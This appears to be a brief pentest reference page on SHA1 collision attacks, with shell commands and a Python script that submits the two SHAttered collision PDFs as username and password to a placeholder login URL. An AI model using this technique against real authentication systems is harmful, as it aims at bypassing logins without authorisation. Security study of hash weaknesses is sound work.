SHA1 Hash Collision Attack
Sample Attacks
1. Download two Files
sha1sum shattered-1.pdf
sha1sum shattered-2.pdf
sha1sum messageA
sha1sum messageB2. Host the PDF Files Locally
python3 -m http.server 80003. Create a Python Script
import requests
file1 = "shattered-1.pdf"
file2 = "shattered-2.pdf"
pdf_1 = requests.get(f'http://localhost:8000/{file1}')
pdf_2 = requests.get(f'http://localhost:8000/{file2}')
# e.g. the two values can be used as username/password.
params = {'username': pdf_1.content, 'password': pdf_2.content}
r = requests.get('https://example.com/login', params=params)
print(r.text)4. Run the Script
References
Last updated